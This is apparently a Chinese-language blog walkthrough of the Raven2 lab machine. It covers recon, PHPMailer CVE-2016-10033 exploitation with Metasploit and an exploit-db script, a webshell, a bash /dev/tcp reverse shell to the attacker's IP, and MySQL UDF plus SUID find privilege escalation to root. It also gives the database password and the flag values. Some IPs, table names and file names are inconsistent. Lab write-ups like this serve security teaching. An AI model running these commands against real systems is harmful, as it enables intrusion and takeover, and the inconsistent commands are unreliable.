大家好,今天是大年初二,没想到在新年里也会写文章(其实是太无聊了,晚上才有活动);
今天给大家带来一篇PHPMailer框架的漏洞文章,主要重点还是
UDF提取,前面框架渗透都是挺简单的,这里不再赘述;
文章目录
前置准备
将目标靶机网段设置为192.168.44.0/24 :

随后在VirtualBox 里启动靶机:

随后在"设置"里选择仅主机Host-only模式:

在VMware 里启动Kali:

- Kali的IP地址:192.168.56.103
接下来就可以开始我们的靶机渗透了;
信息收集
bash
nmap -sP 192.168.56.0/24
# 详细信息收集
nmap -sC -sV -A -p- 192.168.44.128
结果如下:

可以知道目标机器的IP地址为:192.168.56.114
并且只开放了两个端口:


- 80端口:
http服务 - 22端口:
SSH服务
Web服务信息收集
于是首先访问http://192.168.56.114/,页面结果如下:

随便点击页面的链接,并没有发现什么有用的东西,所以先尝试Web目录枚举:

结果如下:
| 200 状态码文件 / 路径 | 作用 |
|---|---|
/.DS_Store |
macOS 系统隐藏文件,可能泄露目录结构和文件名,辅助信息收集 |
/about.html |
站点关于页面,可用于了解业务背景、人员信息或技术栈线索 |
/contact.php |
联系表单页面,可能存在未过滤输入,可测试 XSS、CSRF 或邮件注入漏洞 |
/index.html |
站点首页,可用于分析前端技术栈、链接结构和隐藏入口 |
/js/ |
JavaScript 资源目录,可枚举前端脚本,发现 API 路径、敏感注释或未授权功能 |
/manual/index.html |
技术手册页面,可能泄露服务器版本、配置细节或未公开的功能说明 |
/vendor/ |
第三方依赖库目录,可能存在已知漏洞的库文件,可用于版本比对和漏洞利用 |
/wordpress/wp-login.php |
WordPress 登录入口,可用于暴力破解或凭证获取,是核心管理入口 |
/wordpress/ |
WordPress 站点根目录,可能存在插件、主题或配置文件泄露,可进一步枚举 |
- /manual/en/index.html页面

可以看到是一个Apache的官方页面;
- /vendor/页面

很容易理解,这个应该就是Web服务的目录,只不过并没有做权限管理,导致其对外公开;
随后我就一一进行查看,还真发现了一些有用的信息:
(1)Web的目录路径: /var/www/html/vendor/

(2)vendor/README.md路径:

貌似是一些测试用的账号密码?
bash
$mail->isSMTP();
$mail->Host = 'smtp1.example.com;smtp2.example.com';
$mail->SMTPAuth = true;
$mail->Username = 'user@example.com';
$mail->Password = 'secret';
$mail->SMTPSecure = 'tls';
$mail->Port = 587;
这段代码是一个标准的 PHPMailer SMTP 发送示例。
| 参数 | 风险 |
|---|---|
| Host | 暴露内部邮件服务器 |
| Username | SMTP 账号 |
| Password | SMTP 密码 |
| Port | 可用于端口探测 |
| SMTPSecure | 加密方式判断 |
(3)vendor/VERSION:系统版本5.2.16

(之后的其他目录就没有什么可利用的信息了)
漏洞利用提权
PHPMailer框架利用
所以我们去漏洞库看看是否存在相应的RCE漏洞:

这里我们可以看到两个可利用POC:
PHPMailer < 5.2.19 - Sendmail Argument Injection (Metasploit)PHPMailer < 5.2.18 - Remote Code Execution
所以我们可以分别尝试一下:
MSF漏洞利用
bash
# 进入框架
msfconsole -q
# 搜索模块
search PHPMailer
# 使用
use exploit/multi/http/phpmailer_arg_injection
结果如下:

查看配置:

- 随后指定目标主机
192.168.59.136 - 及其漏洞页面
contact.php - 并设置Web根目录为
/var/www/html以确保恶意Webshell能正确写入
bash
set rhosts 192.168.56.114
set TARGETURI /contact.php
set WEB_ROOT /var/www/html
set lhost 192.168.56.103

msf执行run开启攻击,此时执行contact.php会在根目录 下生成了木马/contact.php/FjNo3zva.php

随后访问网址 http://192.168.56.114/FjNo3zva.php 即可建立反弹shell:

这里由于使用框架漏洞,并不需要使用
reverse_tcp模块:(直接访问即可)
- set payload php/meterpreter/reverse_tcp
- set lhost 192.168.56.103
- set lport 444
- run
可以看到获取了Web服务器的www-data 权限:

输入命令获取交互式shell:
python
python -c 'import pty;pyt.spawn("/bin/bash")'
然后看是否存在可利用的文件来实现越权:
敏感文件权限
(1)查看/etc/passwd的敏感文件权限

无法利用;
SUDO提权

无可用权限;
SUID提权
输入命令寻找可利用的s程序:
bash
find / -perm -u=s -type f 2>/dev/null

但是都很遗憾,试了没能尝试成功;
数据库配置文件wp-config.php
我们之前在信息收集的时候,知道了Web目录路径为 /var/www/html ,并且存在/wordpress/wp-login.php ,所以我们很容易知道搭建的系统为------WordPress
因此,可以到网站根目录下查看一下相应的配置文件wp-config.php:

一一进行查看:

| 文件/目录 | 类型 | 作用/可利用点 | 优先级 |
|---|---|---|---|
wp-config.php |
文件 | 含数据库账号密码、表前缀等敏感信息,若泄露可控制网站 | 高 |
wp-content/ |
目录 | 包含 themes/、plugins/、uploads/,可能存在 RCE、文件上传漏洞 |
高 |
xmlrpc.php |
文件 | 可用于暴力破解、Pingback 利用、信息收集 | 中高 |
wp-login.php |
文件 | 登录入口,可进行有限次数的密码测试或用户枚举 | 中高 |
wp-admin/ |
目录 | 管理后台,若弱密码可访问,部分插件存在漏洞可利用 | 中 |
wp-includes/ |
目录 | 核心文件夹,老版本可能存在漏洞 | 中低 |
wp-activate.php |
文件 | 多站点激活入口,特定漏洞可利用 | 低 |
wp-signup.php |
文件 | 多站点注册入口,特定漏洞可利用 | 低 |
于是分别查看:
首先在发现了数据库账号密码:root / R@v3nSecurity

bash
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');
/** MySQL hostname */
define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
之后又花了十几分钟进行查看,均未发现有用信息;
尝试MySQL数据库提权
既然我们已经有了数据库的账号密码,那就看看能不能搞到Web服务的其他用户,然后尝试i提权到root 权限:
bash
账号:root
密码:R@v3nSecurity
mysql -u root -h 192.168.56.114 -p
但是发现在MSF里登陆不了数据库,那怎么办?
- 那就使用其他方法上线一个shell,再用kali去连接,不用MSF框架了;
获取root权限
方法一:使用searchsploit
参考文章:https://www.cnblogs.com/BKNboy-Blog/p/18294780/Shooting_Range3
首先使用searchsploit查询:


得到结果;
将其复制出来,找到文件的路径:
bash
find / -name 40974.py 2>/dev/null
得到路径为:/usr/share/exploitdb/exploits/php/webapps/40974.py

于是复制一份到桌面,随后修改参数:
bash
cp /usr/share/exploitdb/exploits/php/webapps/40974.py /home/ok/Desktop/40974.py
# 赋权
chmod 777 /home/ok/Desktop/40974.py
# 编辑参数
vim 40974.py
未修改前:

修改后:

随后使用python3打开这个修改后的文件(运行后出现如下错误,只要pip install requests-toolbelt即可):

然后我们访问下http://192.168.56.114/contact.php,这样就会执行我们的payload在目录下面生成shell.php
建立监听:nc -nvlp 7890
访问页面:http://192.168.56.114/shell.php
随后就会出现一个shell;

方法二:MSF会话的再利用
bash
经过我的一番思考,也是想出了这样的一个方法,也能获取会话;
之前我们不是在MSF框架里返回了Web服务器的session吗,我们可以在该机器创建一个shell.sh文件,来反弹会话:
bash
touch shell.sh
# 输入内容
echo 'bash -i >& /dev/tcp/192.168.56.103/6666 0>&1' > shell.sh
# 赋权
chmod +x shell.sh
# 执行
bash shell.sh

成功反弹会话;
数据库UDF提权
所以接下来我们就能进行数据库的提权操作了;
之前也写过相应的文章,详情请看:渗透测试------Kioptrix4靶机渗透提权(SQL注入,脏牛利用,UDF提权)
bash
账号:root
密码:R@v3nSecurity
mysql -uroot -pR@v3nSecurity
成功登陆:

bash
# 查看数据库版本
select version();

UDF(User-Defined Function)提权是一种通过 MySQL 自定义函数功能来执行系统命令的经典提权手段。
- MySQL < 5.1: 插件(.dll 或 .so)需要导出到系统目录(如
C:\Windows\System32或/usr/lib)- MySQL ≥ 5.1: 插件必须导出到 MySQL 安装目录的
lib\plugin文件夹下- 核心条件 :
- 获得 MySQL 的 root 权限账号密码
secure_file_priv参数为空(允许向任意路径写入文件)- MySQL 进程具有目标文件夹的写权限
(1)首先看一下是否满足写入条件:
bash
这里secure_file_priv没有具体值,表示不对mysqld的导入|导出做限制,这个时候可以提权。
如果secure_file_priv的值为NULL,表示限制mysqld不允许导入|导出,此时无法进行提权。
如果secure_file_priv的值为/tmp/,表示限制mysqld的导入|导出只能发生在/tmp/目录下,也无法进行提权。
命令如下:show variables like 'secure_file_priv';(为空,可以写入)

(2)插件目录:show variables like 'plugin_dir';

因为MySQL的版本大于5.1,所以UDF的动态链接库文件放置于MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数
(3)在漏洞库搜索可利用的payload:


(漏洞编号为1518)

下载到本地进行编译:

(4)gcc编译.o文件
bash
gcc -g -c 1518.c
gcc -g -shared -o 1518.so 1518.o -lc


接下来将生成的.so文件上传到靶机

(5)登录数据库,并创建自定义函数
bash
# 登陆
mysql -uroot -pR@v3nSecurity
# 切换到mysql库
use mysql
# 创建数据表bkn
create table cxk(line blob);
# 插入数据
insert into bkn values(load_file('/tmp/1518.so'));
select * from bkn into dumpfile '/usr/lib/mysql/plugin/1522.so';
# 查看函数表,确认 do_system 是否已存在
select * from mysql.func;
# 赋予 find 命令 root 权限位
select do_system('chmod u+s /usr/bin/find');
# 退出 MySQL
exit;


成功插入后利用dumpfile函数把文件导出;

创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:

赋予 find 命令 root 权限位

使用find执行shell:
bash
# 1. 创建一个名为 bkn 的临时文件(用于 find 命令的操作对象)
touch 123
# 2. 利用 find 命令的 -exec 选项执行 shell
# 由于 find 之前被赋予了 SUID 权限,此时开启的 shell 将具有 root 权限
find 123 -exec "/bin/sh" \;
# 3. 在进入的 shell 中查看当前目录文件
ls
# 4. 验证当前用户身份,确认是否已获得 root 权限
find 123 -exec "whoami" \;
可以看到现在已经是root权限:

至此也是成功获取全部权限;
找flag
我也是在做完试验后才知道这个靶机要找flag,不然我都当普通的靶机来渗透了;
bash
find / -name "*flag*" -type f 2>/dev/null
既然拿到了最高权限,找flag不就是一句话的事?

- flag1在Web系统里:flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

- flag2在www文件下:flag2{6a8ed560f0b5358ecf844108048eb337}

- flag3是张图片,直接访问:/wordpress/wp-content/uploads/2018/11/flag3.png

- flag4:flag4{df2bc5e951d91581467bb9a2a8ff4425}

总结
技术总结:
-
PHPMailer 远程代码执行 (RCE):借助 CVE-2016-10033 高危漏洞,利用 PHPMailer 在调用 mail() 函数时对 Sender 参数校验不严的缺陷,向目标服务器注入恶意指令。
-
反弹 Shell 自动化利用:通过执行写入服务器的恶意脚本,利用 Python 交互式语句主动连接攻击者监听的端口,从而突破边界获取 Web 权限会话。
-
MySQL UDF 权限提升:利用获取的数据库高权限账号,通过加载恶意共享库文件(如 lib_mysqludf_sys.so)创建自定义函数,实现从数据库权限向系统 root 权限的跨越。
-
Flag 获取与痕迹清理:在取得系统最高权限后,进入 /root 目录提取最终的证明文件,完成对 Raven2 靶机的全路径渗透测试。
期待下次再见;